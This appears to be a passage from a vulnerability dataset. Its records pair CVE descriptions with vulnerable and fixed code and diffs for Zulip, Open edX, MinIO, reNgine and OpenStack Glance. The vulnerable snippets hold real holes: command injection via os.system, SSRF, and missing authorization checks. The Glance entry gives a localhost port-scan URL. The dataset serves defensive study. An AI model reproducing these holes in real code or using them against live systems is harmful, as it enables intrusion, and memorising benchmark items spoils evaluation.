check_valid_interface_type(service_interface)\n        assert service_interface is not None\n        do_update_outgoing_webhook_service(bot, service_interface, service_payload_url)\n\n    if config_data is not None:\n        do_update_bot_config_data(bot, config_data)\n\n    if len(request.FILES) == 0:\n        pass\n    elif len(request.FILES) == 1:\n        user_file = list(request.FILES.values())[0]\n        assert isinstance(user_file, UploadedFile)\n        assert user_file.size is not None\n        upload_avatar_image(user_file, user_profile, bot)\n        avatar_source = UserProfile.AVATAR_FROM_USER\n        do_change_avatar_fields(bot, avatar_source, acting_user=user_profile)\n    else:\n        raise JsonableError(_(\"You may only upload one file at a time\"))\n\n    json_result = dict(\n        full_name=bot.full_name,\n        avatar_url=avatar_url(bot),\n        service_interface=service_interface,\n        service_payload_url=service_payload_url,\n        config_data=config_data,\n        default_sending_stream=get_stream_name(bot.default_sending_stream),\n        default_events_register_stream=get_stream_name(bot.default_events_register_stream),\n        default_all_public_streams=bot.default_all_public_streams,\n    )\n\n    # Don't include the bot owner in case it is not set.\n    # Default bots have no owner.\n    if bot.bot_owner is not None:\n        json_result[\"bot_owner\"] = bot.bot_owner.email\n\n    return json_success(request, data=json_result)"}], "fix_func": [{"id": "fix_py_409_1", "commit": "751b2a03e565e9eb02ffe923b7c24ac73d604034", "file_path": "zerver/views/users.py", "start_line": 173, "end_line": 232, "snippet": "def update_user_backend(\n    request: HttpRequest,\n    user_profile: UserProfile,\n    user_id: int,\n    full_name: Optional[str] = REQ(default=None),\n    role: Optional[int] = REQ(\n        default=None,\n        json_validator=check_int_in(\n            UserProfile.ROLE_TYPES,\n        ),\n    ),\n    profile_data: Optional[List[Dict[str, Optional[Union[int, ProfileDataElementValue]]]]] = REQ(\n        default=None,\n        json_validator=check_profile_data,\n    ),\n) -> HttpResponse:\n    target = access_user_by_id(\n        user_profile, user_id, allow_deactivated=True, allow_bots=True, for_admin=True\n    )\n\n    if role is not None and target.role != role:\n        # Require that the current user has permissions to\n        # grant/remove the role in question.\n        #\n        # Logic replicated in patch_bot_backend.\n        if UserProfile.ROLE_REALM_OWNER in [role, target.role] and not user_profile.is_realm_owner:\n            raise OrganizationOwnerRequired()\n        elif not user_profile.is_realm_admin:\n            raise OrganizationAdministratorRequired()\n\n        if target.role == UserProfile.ROLE_REALM_OWNER and check_last_owner(target):\n            raise JsonableError(\n                _(\"The owner permission cannot be removed from the only organization owner.\")\n            )\n        do_change_user_role(target, role, acting_user=user_profile)\n\n    if full_name is not None and target.full_name != full_name and full_name.strip() != \"\":\n        # We don't respect `name_changes_disabled` here because the request\n        # is on behalf of the administrator.\n        check_change_full_name(target, full_name, user_profile)\n\n    if profile_data is not None:\n        clean_profile_data: List[ProfileDataElementUpdateDict] = []\n        for entry in profile_data:\n            assert isinstance(entry[\"id\"], int)\n            assert not isinstance(entry[\"value\"], int)\n            if entry[\"value\"] is None or not entry[\"value\"]:\n                field_id = entry[\"id\"]\n                check_remove_custom_profile_field_value(target, field_id)\n            else:\n                clean_profile_data.append(\n                    {\n                        \"id\": entry[\"id\"],\n                        \"value\": entry[\"value\"],\n                    }\n                )\n        validate_user_custom_profile_data(target.realm.id, clean_profile_data)\n        do_update_user_custom_profile_data_if_changed(target, clean_profile_data)\n\n    return json_success(request)"}, {"id": "fix_py_409_2", "commit": "751b2a03e565e9eb02ffe923b7c24ac73d604034", "file_path": "zerver/views/users.py", "start_line": 305, "end_line": 407, "snippet": "def patch_bot_backend(\n    request: HttpRequest,\n    user_profile: UserProfile,\n    bot_id: int,\n    full_name: Optional[str] = REQ(default=None),\n    role: Optional[int] = REQ(\n        default=None,\n        json_validator=check_int_in(\n            UserProfile.ROLE_TYPES,\n        ),\n    ),\n    bot_owner_id: Optional[int] = REQ(json_validator=check_int, default=None),\n    config_data: Optional[Dict[str, str]] = REQ(\n        default=None, json_validator=check_dict(value_validator=check_string)\n    ),\n    service_payload_url: Optional[str] = REQ(json_validator=check_url, default=None),\n    service_interface: int = REQ(json_validator=check_int, default=1),\n    default_sending_stream: Optional[str] = REQ(default=None),\n    default_events_register_stream: Optional[str] = REQ(default=None),\n    default_all_public_streams: Optional[bool] = REQ(default=None, json_validator=check_bool),\n) -> HttpResponse:\n    bot = access_bot_by_id(user_profile, bot_id)\n\n    if full_name is not None:\n        check_change_bot_full_name(bot, full_name, user_profile)\n\n    if role is not None and bot.role != role:\n        # Logic duplicated from update_user_backend.\n        if UserProfile.ROLE_REALM_OWNER in [role, bot.role] and not user_profile.is_realm_owner:\n            raise OrganizationOwnerRequired()\n        elif not user_profile.is_realm_admin:\n            raise OrganizationAdministratorRequired()\n\n        do_change_user_role(bot, role, acting_user=user_profile)\n\n    if bot_owner_id is not None:\n        try:\n            owner = get_user_profile_by_id_in_realm(bot_owner_id, user_profile.realm)\n        except UserProfile.DoesNotExist:\n            raise JsonableError(_(\"Failed to change owner, no such user\"))\n        if not owner.is_active:\n            raise JsonableError(_(\"Failed to change owner, user is deactivated\"))\n        if owner.is_bot:\n            raise JsonableError(_(\"Failed to change owner, bots can't own other bots\"))\n\n        previous_owner = bot.bot_owner\n        if previous_owner != owner:\n            do_change_bot_owner(bot, owner, user_profile)\n\n    if default_sending_stream is not None:\n        if default_sending_stream == \"\":\n            stream: Optional[Stream] = None\n        else:\n            (stream, sub) = access_stream_by_name(user_profile, default_sending_stream)\n        do_change_default_sending_stream(bot, stream, acting_user=user_profile)\n    if default_events_register_stream is not None:\n        if default_events_register_stream == \"\":\n            stream = None\n        else:\n            (stream, sub) = access_stream_by_name(user_profile, default_events_register_stream)\n        do_change_default_events_register_stream(bot, stream, acting_user=user_profile)\n    if default_all_public_streams is not None:\n        do_change_default_all_public_streams(\n            bot, default_all_public_streams, acting_user=user_profile\n        )\n\n    if service_payload_url is not None:\n        check_valid_interface_type(service_interface)\n        assert service_interface is not None\n        do_update_outgoing_webhook_service(bot, service_interface, service_payload_url)\n\n    if config_data is not None:\n        do_update_bot_config_data(bot, config_data)\n\n    if len(request.FILES) == 0:\n        pass\n    elif len(request.FILES) == 1:\n        user_file = list(request.FILES.values())[0]\n        assert isinstance(user_file, UploadedFile)\n        assert user_file.size is not None\n        upload_avatar_image(user_file, user_profile, bot)\n        avatar_source = UserProfile.AVATAR_FROM_USER\n        do_change_avatar_fields(bot, avatar_source, acting_user=user_profile)\n    else:\n        raise JsonableError(_(\"You may only upload one file at a time\"))\n\n    json_result = dict(\n        full_name=bot.full_name,\n        avatar_url=avatar_url(bot),\n        service_interface=service_interface,\n        service_payload_url=service_payload_url,\n        config_data=config_data,\n        default_sending_stream=get_stream_name(bot.default_sending_stream),\n        default_events_register_stream=get_stream_name(bot.default_events_register_stream),\n        default_all_public_streams=bot.default_all_public_streams,\n    )\n\n    # Don't include the bot owner in case it is not set.\n    # Default bots have no owner.\n    if bot.bot_owner is not None:\n        json_result[\"bot_owner\"] = bot.bot_owner.email\n\n    return json_success(request, data=json_result)"}], "vul_patch": "--- a/zerver/views/users.py\n+++ b/zerver/views/users.py\n@@ -20,13 +20,13 @@\n \n     if role is not None and target.role != role:\n         # Require that the current user has permissions to\n-        # grant/remove the role in question.  access_user_by_id has\n-        # already verified we're an administrator; here we enforce\n-        # that only owners can toggle the is_realm_owner flag.\n+        # grant/remove the role in question.\n         #\n         # Logic replicated in patch_bot_backend.\n         if UserProfile.ROLE_REALM_OWNER in [role, target.role] and not user_profile.is_realm_owner:\n             raise OrganizationOwnerRequired()\n+        elif not user_profile.is_realm_admin:\n+            raise OrganizationAdministratorRequired()\n \n         if target.role == UserProfile.ROLE_REALM_OWNER and check_last_owner(target):\n             raise JsonableError(\n\n--- a/zerver/views/users.py\n+++ b/zerver/views/users.py\n@@ -28,6 +28,8 @@\n         # Logic duplicated from update_user_backend.\n         if UserProfile.ROLE_REALM_OWNER in [role, bot.role] and not user_profile.is_realm_owner:\n             raise OrganizationOwnerRequired()\n+        elif not user_profile.is_realm_admin:\n+            raise OrganizationAdministratorRequired()\n \n         do_change_user_role(bot, role, acting_user=user_profile)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-22209", "cve_description": "Open edX Platform is a service-oriented platform for authoring and delivering online learning. A user with a JWT and more limited scopes could call endpoints exceeding their access. This vulnerability has been patched in commit 019888f.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/openedx/edx-platform", "patch_url": ["https://github.com/openedx/edx-platform/commit/019888f3d15beaebcb7782934f6c43b0c2b3735e"], "programing_language": "Python", "vul_func": [{"id": "vul_py_293_1", "commit": "e7fc0c6", "file_path": "lms/djangoapps/courseware/block_render.py", "start_line": 737, "end_line": 795, "snippet": "def handle_xblock_callback(request, course_id, usage_id, handler, suffix=None):\n    \"\"\"\n    Generic view for extensions. This is where AJAX calls go.\n\n    Arguments:\n        request (Request): Django request.\n        course_id (str): Course containing the block\n        usage_id (str)\n        handler (str)\n        suffix (str)\n\n    Raises:\n        HttpResponseForbidden: If the request method is not `GET` and user is not authenticated.\n        Http404: If the course is not found in the modulestore.\n    \"\"\"\n    # In this case, we are using Session based authentication, so we need to check CSRF token.\n    if request.user.is_authenticated:\n        error = CsrfViewMiddleware(get_response=lambda request: None).process_view(request, None, (), {})\n        if error:\n            return error\n\n    # We are reusing DRF logic to provide support for JWT and Oauth2. We abandoned the idea of using DRF view here\n    # to avoid introducing backwards-incompatible changes.\n    # You can see https://github.com/openedx/XBlock/pull/383 for more details.\n    else:\n        authentication_classes = (JwtAuthentication, BearerAuthenticationAllowInactiveUser)\n        authenticators = [auth() for auth in authentication_classes]\n\n        for authenticator in authenticators:\n            try:\n                user_auth_tuple = authenticator.authenticate(request)\n            except APIException:\n                log.exception(\n                    \"XBlock handler %r failed to authenticate with %s\", handler, authenticator.__class__.__name__\n                )\n            else:\n                if user_auth_tuple is not None:\n                    request.user, _ = user_auth_tuple\n                    break\n\n    # NOTE (CCB): Allow anonymous GET calls (e.g. for transcripts). Modifying this view is simpler than updating\n    # the XBlocks to use `handle_xblock_callback_noauth`, which is practically identical to this view.\n    if request.method != 'GET' and not (request.user and request.user.is_authenticated):\n        return HttpResponseForbidden('Unauthenticated')\n\n    request.user.known = request.user.is_authenticated\n\n    try:\n        course_key = CourseKey.from_string(course_id)\n    except InvalidKeyError:\n        raise Http404(f'{course_id} is not a valid course key')  # lint-amnesty, pylint: disable=raise-missing-from\n\n    with modulestore().bulk_operations(course_key):\n        try:\n            course = modulestore().get_course(course_key)\n        except ItemNotFoundError:\n            raise Http404(f'{course_id} does not exist in the modulestore')  # lint-amnesty, pylint: disable=raise-missing-from\n\n        return _invoke_xblock_handler(request, course_id, usage_id, handler, suffix, course=course)"}], "fix_func": [{"id": "fix_py_293_1", "commit": "019888f3d15beaebcb7782934f6c43b0c2b3735e", "file_path": "lms/djangoapps/courseware/block_render.py", "start_line": 738, "end_line": 803, "snippet": "def handle_xblock_callback(request, course_id, usage_id, handler, suffix=None):\n    \"\"\"\n    Generic view for extensions. This is where AJAX calls go.\n\n    Arguments:\n        request (Request): Django request.\n        course_id (str): Course containing the block\n        usage_id (str)\n        handler (str)\n        suffix (str)\n\n    Raises:\n        HttpResponseForbidden: If the request method is not `GET` and user is not authenticated.\n        Http404: If the course is not found in the modulestore.\n    \"\"\"\n    # In this case, we are using Session based authentication, so we need to check CSRF token.\n    if request.user.is_authenticated:\n        error = CsrfViewMiddleware(get_response=lambda request: None).process_view(request, None, (), {})\n        if error:\n            return error\n\n    # We are reusing DRF logic to provide support for JWT and Oauth2. We abandoned the idea of using DRF view here\n    # to avoid introducing backwards-incompatible changes.\n    # You can see https://github.com/openedx/XBlock/pull/383 for more details.\n    else:\n        authentication_classes = (JwtAuthentication, BearerAuthenticationAllowInactiveUser)\n        authenticators = [auth() for auth in authentication_classes]\n\n        for authenticator in authenticators:\n            try:\n                user_auth_tuple = authenticator.authenticate(request)\n            except APIException:\n                log.exception(\n                    \"XBlock handler %r failed to authenticate with %s\", handler, authenticator.__class__.__name__\n                )\n            else:\n                if user_auth_tuple is not None:\n                    # When using JWT authentication, the second element contains the JWT token. We need it to determine\n                    # whether the application that issued the token is restricted.\n                    request.user, request.auth = user_auth_tuple\n                    # This is verified by the `JwtRestrictedApplication` before it decodes the token.\n                    request.successful_authenticator = authenticator\n                    break\n\n    # NOTE (CCB): Allow anonymous GET calls (e.g. for transcripts). Modifying this view is simpler than updating\n    # the XBlocks to use `handle_xblock_callback_noauth`, which is practically identical to this view.\n    # Block all request types coming from restricted applications.\n    if (\n        request.method != 'GET' and not (request.user and request.user.is_authenticated)\n    ) or JwtRestrictedApplication().has_permission(request, None):  # type: ignore\n        return HttpResponseForbidden('Unauthenticated')\n\n    request.user.known = request.user.is_authenticated\n\n    try:\n        course_key = CourseKey.from_string(course_id)\n    except InvalidKeyError:\n        raise Http404(f'{course_id} is not a valid course key')  # lint-amnesty, pylint: disable=raise-missing-from\n\n    with modulestore().bulk_operations(course_key):\n        try:\n            course = modulestore().get_course(course_key)\n        except ItemNotFoundError:\n            raise Http404(f'{course_id} does not exist in the modulestore')  # lint-amnesty, pylint: disable=raise-missing-from\n\n        return _invoke_xblock_handler(request, course_id, usage_id, handler, suffix, course=course)"}], "vul_patch": "--- a/lms/djangoapps/courseware/block_render.py\n+++ b/lms/djangoapps/courseware/block_render.py\n@@ -35,12 +35,19 @@\n                 )\n             else:\n                 if user_auth_tuple is not None:\n-                    request.user, _ = user_auth_tuple\n+                    # When using JWT authentication, the second element contains the JWT token. We need it to determine\n+                    # whether the application that issued the token is restricted.\n+                    request.user, request.auth = user_auth_tuple\n+                    # This is verified by the `JwtRestrictedApplication` before it decodes the token.\n+                    request.successful_authenticator = authenticator\n                     break\n \n     # NOTE (CCB): Allow anonymous GET calls (e.g. for transcripts). Modifying this view is simpler than updating\n     # the XBlocks to use `handle_xblock_callback_noauth`, which is practically identical to this view.\n-    if request.method != 'GET' and not (request.user and request.user.is_authenticated):\n+    # Block all request types coming from restricted applications.\n+    if (\n+        request.method != 'GET' and not (request.user and request.user.is_authenticated)\n+    ) or JwtRestrictedApplication().has_permission(request, None):  # type: ignore\n         return HttpResponseForbidden('Unauthenticated')\n \n     request.user.known = request.user.is_authenticated\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-21287", "cve_description": "MinIO is a High Performance Object Storage released under Apache License v2.0. In MinIO before version RELEASE.2021-01-30T00-20-58Z there is a server-side request forgery vulnerability. The target application may have functionality for importing data from a URL, publishing data to a URL, or otherwise reading data from a URL that can be tampered with. The attacker modifies the calls to this functionality by supplying a completely different URL or by manipulating how URLs are built (path traversal etc.). In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data, and by carefully selecting the URLs, the attacker may be able to read server configuration such as AWS metadata, connect to internal services like HTTP enabled databases, or perform post requests towards internal services which are not intended to be exposed. This is fixed in version RELEASE.2021-01-30T00-20-58Z, all users are advised to upgrade. As a workaround you can disable the browser front-end with \"MINIO_BROWSER=off\" environment variable.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/minio/minio", "patch_url": ["https://github.com/minio/minio/commit/eb6871ecd960d570f70698877209e6db181bf276"], "programing_language": "Go", "vul_func": [{"id": "vul_go_137_1", "commit": "9cdd981", "file_path": "cmd/web-handlers.go", "start_line": 2206, "end_line": 2255, "snippet": "func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {\n\tctx := newWebContext(r, args, \"WebLoginSTS\")\n\n\tv := url.Values{}\n\tv.Set(\"Action\", webIdentity)\n\tv.Set(\"WebIdentityToken\", args.Token)\n\tv.Set(\"Version\", stsAPIVersion)\n\n\tscheme := \"http\"\n\tif sourceScheme := handlers.GetSourceScheme(r); sourceScheme != \"\" {\n\t\tscheme = sourceScheme\n\t}\n\tif globalIsTLS {\n\t\tscheme = \"https\"\n\t}\n\n\tu := &url.URL{\n\t\tScheme: scheme,\n\t\tHost:   r.Host,\n\t}\n\n\tu.RawQuery = v.Encode()\n\n\treq, err := http.NewRequest(http.MethodPost, u.String(), nil)\n\tif err != nil {\n\t\treturn toJSONError(ctx, err)\n\t}\n\n\tclnt := &http.Client{\n\t\tTransport: NewGatewayHTTPTransport(),\n\t}\n\tresp, err := clnt.Do(req)\n\tif err != nil {\n\t\treturn toJSONError(ctx, err)\n\t}\n\tdefer xhttp.DrainBody(resp.Body)\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn toJSONError(ctx, errors.New(resp.Status))\n\t}\n\n\ta := AssumeRoleWithWebIdentityResponse{}\n\tif err = xml.NewDecoder(resp.Body).Decode(&a); err != nil {\n\t\treturn toJSONError(ctx, err)\n\t}\n\n\treply.Token = a.Result.Credentials.SessionToken\n\treply.UIVersion = browser.UIVersion\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_137_1", "commit": "eb6871e", "file_path": "cmd/web-handlers.go", "start_line": 2207, "end_line": 2261, "snippet": "func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {\n\tctx := newWebContext(r, args, \"WebLoginSTS\")\n\n\tif globalOpenIDValidators == nil {\n\t\treturn toJSONError(ctx, errSTSNotInitialized)\n\t}\n\n\tv, err := globalOpenIDValidators.Get(\"jwt\")\n\tif err != nil {\n\t\tlogger.LogIf(ctx, err)\n\t\treturn toJSONError(ctx, errSTSNotInitialized)\n\t}\n\n\tm, err := v.Validate(args.Token, \"\")\n\tif err != nil {\n\t\treturn toJSONError(ctx, err)\n\t}\n\n\t// JWT has requested a custom claim with policy value set.\n\t// This is a MinIO STS API specific value, this value should\n\t// be set and configured on your identity provider as part of\n\t// JWT custom claims.\n\tvar policyName string\n\tpolicySet, ok := iampolicy.GetPoliciesFromClaims(m, iamPolicyClaimNameOpenID())\n\tif ok {\n\t\tpolicyName = globalIAMSys.CurrentPolicies(strings.Join(policySet.ToSlice(), \",\"))\n\t}\n\tif policyName == \"\" && globalPolicyOPA == nil {\n\t\treturn toJSONError(ctx, fmt.Errorf(\"%s claim missing from the JWT token, credentials will not be generated\", iamPolicyClaimNameOpenID()))\n\t}\n\tm[iamPolicyClaimNameOpenID()] = policyName\n\n\tsecret := globalActiveCred.SecretKey\n\tcred, err := auth.GetNewCredentialsWithMetadata(m, secret)\n\tif err != nil {\n\t\treturn toJSONError(ctx, err)\n\t}\n\n\t// Set the newly generated credentials.\n\tif err = globalIAMSys.SetTempUser(cred.AccessKey, cred, policyName); err != nil {\n\t\treturn toJSONError(ctx, err)\n\t}\n\n\t// Notify all other MinIO peers to reload temp users\n\tfor _, nerr := range globalNotificationSys.LoadUser(cred.AccessKey, true) {\n\t\tif nerr.Err != nil {\n\t\t\tlogger.GetReqInfo(ctx).SetTags(\"peerAddress\", nerr.Host.String())\n\t\t\tlogger.LogIf(ctx, nerr.Err)\n\t\t}\n\t}\n\n\treply.Token = cred.SessionToken\n\treply.UIVersion = browser.UIVersion\n\treturn nil\n}"}, {"id": "fix_go_137_2", "commit": "eb6871e", "file_path": "cmd/web-handlers.go", "start_line": 2204, "end_line": 2204, "snippet": "var errSTSNotInitialized = errors.New(\"STS API not initialized, please configure STS support\")"}], "vul_patch": "--- a/cmd/web-handlers.go\n+++ b/cmd/web-handlers.go\n@@ -1,50 +1,55 @@\n func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {\n \tctx := newWebContext(r, args, \"WebLoginSTS\")\n \n-\tv := url.Values{}\n-\tv.Set(\"Action\", webIdentity)\n-\tv.Set(\"WebIdentityToken\", args.Token)\n-\tv.Set(\"Version\", stsAPIVersion)\n-\n-\tscheme := \"http\"\n-\tif sourceScheme := handlers.GetSourceScheme(r); sourceScheme != \"\" {\n-\t\tscheme = sourceScheme\n-\t}\n-\tif globalIsTLS {\n-\t\tscheme = \"https\"\n+\tif globalOpenIDValidators == nil {\n+\t\treturn toJSONError(ctx, errSTSNotInitialized)\n \t}\n \n-\tu := &url.URL{\n-\t\tScheme: scheme,\n-\t\tHost:   r.Host,\n+\tv, err := globalOpenIDValidators.Get(\"jwt\")\n+\tif err != nil {\n+\t\tlogger.LogIf(ctx, err)\n+\t\treturn toJSONError(ctx, errSTSNotInitialized)\n \t}\n \n-\tu.RawQuery = v.Encode()\n-\n-\treq, err := http.NewRequest(http.MethodPost, u.String(), nil)\n+\tm, err := v.Validate(args.Token, \"\")\n \tif err != nil {\n \t\treturn toJSONError(ctx, err)\n \t}\n \n-\tclnt := &http.Client{\n-\t\tTransport: NewGatewayHTTPTransport(),\n+\t// JWT has requested a custom claim with policy value set.\n+\t// This is a MinIO STS API specific value, this value should\n+\t// be set and configured on your identity provider as part of\n+\t// JWT custom claims.\n+\tvar policyName string\n+\tpolicySet, ok := iampolicy.GetPoliciesFromClaims(m, iamPolicyClaimNameOpenID())\n+\tif ok {\n+\t\tpolicyName = globalIAMSys.CurrentPolicies(strings.Join(policySet.ToSlice(), \",\"))\n \t}\n-\tresp, err := clnt.Do(req)\n+\tif policyName == \"\" && globalPolicyOPA == nil {\n+\t\treturn toJSONError(ctx, fmt.Errorf(\"%s claim missing from the JWT token, credentials will not be generated\", iamPolicyClaimNameOpenID()))\n+\t}\n+\tm[iamPolicyClaimNameOpenID()] = policyName\n+\n+\tsecret := globalActiveCred.SecretKey\n+\tcred, err := auth.GetNewCredentialsWithMetadata(m, secret)\n \tif err != nil {\n \t\treturn toJSONError(ctx, err)\n \t}\n-\tdefer xhttp.DrainBody(resp.Body)\n \n-\tif resp.StatusCode != http.StatusOK {\n-\t\treturn toJSONError(ctx, errors.New(resp.Status))\n-\t}\n-\n-\ta := AssumeRoleWithWebIdentityResponse{}\n-\tif err = xml.NewDecoder(resp.Body).Decode(&a); err != nil {\n+\t// Set the newly generated credentials.\n+\tif err = globalIAMSys.SetTempUser(cred.AccessKey, cred, policyName); err != nil {\n \t\treturn toJSONError(ctx, err)\n \t}\n \n-\treply.Token = a.Result.Credentials.SessionToken\n+\t// Notify all other MinIO peers to reload temp users\n+\tfor _, nerr := range globalNotificationSys.LoadUser(cred.AccessKey, true) {\n+\t\tif nerr.Err != nil {\n+\t\t\tlogger.GetReqInfo(ctx).SetTags(\"peerAddress\", nerr.Host.String())\n+\t\t\tlogger.LogIf(ctx, nerr.Err)\n+\t\t}\n+\t}\n+\n+\treply.Token = cred.SessionToken\n \treply.UIVersion = browser.UIVersion\n \treturn nil\n }\n\n--- /dev/null\n+++ b/cmd/web-handlers.go\n@@ -0,0 +1 @@\n+var errSTSNotInitialized = errors.New(\"STS API not initialized, please configure STS support\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1813", "cve_description": "OS Command Injection in GitHub repository yogeshojha/rengine prior to 1.2.0.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/yogeshojha/rengine", "patch_url": ["https://github.com/yogeshojha/rengine/commit/8277cec0f008a0451371a92e7e0bf082ab3f0c34"], "programing_language": "Python", "vul_func": [{"id": "vul_py_116_1", "commit": "72a5fb2", "file_path": "web/reNgine/common_func.py", "start_line": 668, "end_line": 709, "snippet": "def get_cms_details(url):\n    # this function will fetch cms details using cms_detector\n    response = {}\n    cms_detector_command = 'python3 /usr/src/github/CMSeeK/cmseek.py -u {} --random-agent --batch --follow-redirect'.format(url)\n    os.system(cms_detector_command)\n\n    response['status'] = False\n    response['message'] = 'Could not detect CMS!'\n\n    parsed_url = urlparse(url)\n\n    domain_name = parsed_url.hostname\n    port = parsed_url.port\n\n    find_dir = domain_name\n\n    if port:\n        find_dir += '_{}'.format(port)\n\n\n    print(url)\n    print(find_dir)\n\n    # subdomain may also have port number, and is stored in dir as _port\n\n    cms_dir_path =  '/usr/src/github/CMSeeK/Result/{}'.format(find_dir)\n    cms_json_path =  cms_dir_path + '/cms.json'\n\n    if os.path.isfile(cms_json_path):\n        cms_file_content = json.loads(open(cms_json_path, 'r').read())\n        if not cms_file_content.get('cms_id'):\n            return response\n        response = {}\n        response = cms_file_content\n        response['status'] = True\n        # remove cms dir path\n        try:\n            shutil.rmtree(cms_dir_path)\n        except Exception as e:\n            print(e)\n\n    return response"}], "fix_func": [{"id": "fix_py_116_1", "commit": "8277cec", "file_path": "web/reNgine/common_func.py", "start_line": 669, "end_line": 714, "snippet": "def get_cms_details(url):\n    # this function will fetch cms details using cms_detector\n    response = {}\n    cms_detector_command = 'python3 /usr/src/github/CMSeeK/cmseek.py --random-agent --batch --follow-redirect'\n    subprocess_splitted_command = cms_detector_command.split()\n    subprocess_splitted_command.append('-u')\n    subprocess_splitted_command.append(url)\n    process = subprocess.Popen(subprocess_splitted_command)\n    process.wait()\n\n    response['status'] = False\n    response['message'] = 'Could not detect CMS!'\n\n    parsed_url = urlparse(url)\n\n    domain_name = parsed_url.hostname\n    port = parsed_url.port\n\n    find_dir = domain_name\n\n    if port:\n        find_dir += '_{}'.format(port)\n\n\n    print(url)\n    print(find_dir)\n\n    # subdomain may also have port number, and is stored in dir as _port\n\n    cms_dir_path =  '/usr/src/github/CMSeeK/Result/{}'.format(find_dir)\n    cms_json_path =  cms_dir_path + '/cms.json'\n\n    if os.path.isfile(cms_json_path):\n        cms_file_content = json.loads(open(cms_json_path, 'r').read())\n        if not cms_file_content.get('cms_id'):\n            return response\n        response = {}\n        response = cms_file_content\n        response['status'] = True\n        # remove cms dir path\n        try:\n            shutil.rmtree(cms_dir_path)\n        except Exception as e:\n            print(e)\n\n    return response"}], "vul_patch": "--- a/web/reNgine/common_func.py\n+++ b/web/reNgine/common_func.py\n@@ -1,8 +1,12 @@\n def get_cms_details(url):\n     # this function will fetch cms details using cms_detector\n     response = {}\n-    cms_detector_command = 'python3 /usr/src/github/CMSeeK/cmseek.py -u {} --random-agent --batch --follow-redirect'.format(url)\n-    os.system(cms_detector_command)\n+    cms_detector_command = 'python3 /usr/src/github/CMSeeK/cmseek.py --random-agent --batch --follow-redirect'\n+    subprocess_splitted_command = cms_detector_command.split()\n+    subprocess_splitted_command.append('-u')\n+    subprocess_splitted_command.append(url)\n+    process = subprocess.Popen(subprocess_splitted_command)\n+    process.wait()\n \n     response['status'] = False\n     response['message'] = 'Could not detect CMS!'\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-7200", "cve_description": "An SSRF issue was discovered in OpenStack Glance before Newton. The 'copy_from' feature in the Image Service API v1 allowed an attacker to perform masked network port scans. With v1, it is possible to create images with a URL such as 'http://localhost:22'. This could then allow an attacker to enumerate internal network details while appearing masked, since the scan would appear to originate from the Glance Image service.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/openstack/glance", "patch_url": ["https://github.com/openstack/glance/commit/b1ac90f7914d91b25144cc4063fa994fb5019ee3"], "programing_language": "Python", "vul_func": [{"id": "vul_py_272_1", "commit": "cc6ce4a", "file_path": "glance/api/v1/images.py", "start_line": 640, "end_line": 700, "snippet": "    def create(self, req, image_meta, image_data):\n        \"\"\"\n        Adds a new image to Glance. Four scenarios exist when creating an\n        image:\n\n        1. If the image data is available directly for upload, create can be\n           passed the image data as the request body and the metadata as the\n           request headers. The image will initially be 'queued', during\n           upload it will be in the 'saving' status, and then 'killed' or\n           'active' depending on whether the upload completed successfully.\n\n        2. If the image data exists somewhere else, you can upload indirectly\n           from the external source using the x-glance-api-copy-from header.\n           Once the image is uploaded, the external store is not subsequently\n           consulted, i.e. the image content is served out from the configured\n           glance image store.  State transitions are as for option #1.\n\n        3. If the image data exists somewhere else, you can reference the\n           source using the x-image-meta-location header. The image content\n           will be served out from the external store, i.e. is never uploaded\n           to the configured glance image store.\n\n        4. If the image data is not available yet, but you'd like reserve a\n           spot for it, you can omit the data and a record will be created in\n           the 'queued' state. This exists primarily to maintain backwards\n           compatibility with OpenStack/Rackspace API semantics.\n\n        The request body *must* be encoded as application/octet-stream,\n        otherwise an HTTPBadRequest is returned.\n\n        Upon a successful save of the image data and metadata, a response\n        containing metadata about the image is returned, including its\n        opaque identifier.\n\n        :param req: The WSGI/Webob Request object\n        :param image_meta: Mapping of metadata about image\n        :param image_data: Actual image data that is to be stored\n\n        :raises HTTPBadRequest if x-image-meta-location is missing\n                and the request body is not application/octet-stream\n                image data.\n        \"\"\"\n        self._enforce(req, 'add_image')\n        is_public = image_meta.get('is_public')\n        if is_public:\n            self._enforce(req, 'publicize_image')\n\n        image_meta = self._reserve(req, image_meta)\n        id = image_meta['id']\n\n        image_meta = self._handle_source(req, id, image_meta, image_data)\n\n        location_uri = image_meta.get('location')\n        if location_uri:\n            self.update_store_acls(req, id, location_uri, public=is_public)\n\n        # Prevent client from learning the location, as it\n        # could contain security credentials\n        image_meta.pop('location', None)\n\n        return {'image_meta': image_meta}"}], "fix_func": [{"id": "fix_py_272_1", "commit": "b1ac90f7914d91b25144cc4063fa994fb5019ee3", "file_path": "glance/api/v1/images.py", "start_line": 640, "end_line": 702, "snippet": "    def create(self, req, image_meta, image_data):\n        \"\"\"\n        Adds a new image to Glance. Four scenarios exist when creating an\n        image:\n\n        1. If the image data is available directly for upload, create can be\n           passed the image data as the request body and the metadata as the\n           request headers. The image will initially be 